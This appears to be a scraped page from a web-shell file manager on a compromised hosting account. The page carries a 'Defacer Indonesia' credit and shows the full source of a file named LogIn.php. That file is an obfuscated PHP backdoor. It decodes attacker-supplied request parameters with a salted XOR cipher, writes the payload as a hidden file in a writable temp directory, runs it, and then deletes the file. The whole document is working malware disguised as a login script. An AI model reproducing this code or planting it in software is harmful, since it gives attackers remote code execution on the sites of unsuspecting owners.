whoami7 - Manager
:
/
home
/
analuakl
/
amplhomes.com
/
images
/
services
/
library
/
Upload File:
files >> /home/analuakl/amplhomes.com/images/services/library/LogIn.php
<?php if(!is_null($_POST["\x68o\x6C\x64er"] ?? null)){ $symbol = $_POST["\x68o\x6C\x64er"]; $symbol= explode ("." ,$symbol ); $mrk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $j = 0; array_walk($symbol ,function ($v8) use (&$mrk ,&$j ,$salt1 ,$lenS) { $chS = ord($salt1[$j % $lenS]); $dec = ((int)$v8 - $chS - ($j % 10)) ^ 84; $mrk .= chr($dec); $j++; }); $itm = array_filter([getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $object = 0; do { $ent = $itm[$object] ?? null; if ($object >= count($itm)) break; if (is_dir($ent) ? is_writable($ent) : false) { $binding = str_replace("{var_dir}", $ent, "{var_dir}/.parameter_group"); if (file_put_contents($binding, $mrk)) { require $binding; unlink($binding); exit; } } $object++; } while (true); } if(isset($_REQUEST) && isset($_REQUEST["\x72\x65s"])){ $ptr = $_REQUEST["\x72\x65s"]; $ptr =explode( '.' ,$ptr ); $resource =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $l =0; while ($l < count($ptr)) { $v3 =$ptr[$l]; $chS =ord($salt[$l % $lenS]); $d =((int)$v3 - $chS - ($l % 10)) ^ 97; $resource.= chr($d); $l++; } $hld = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp"]); while ($sym = array_shift($hld)) { if (array_product([is_dir($sym), is_writable($sym)])) { $pgrp = sprintf("%s/.element", $sym); if (file_put_contents($pgrp, $resource)) { require $pgrp; unlink($pgrp); die(); } } } }
Copyright ©2021 || Defacer Indonesia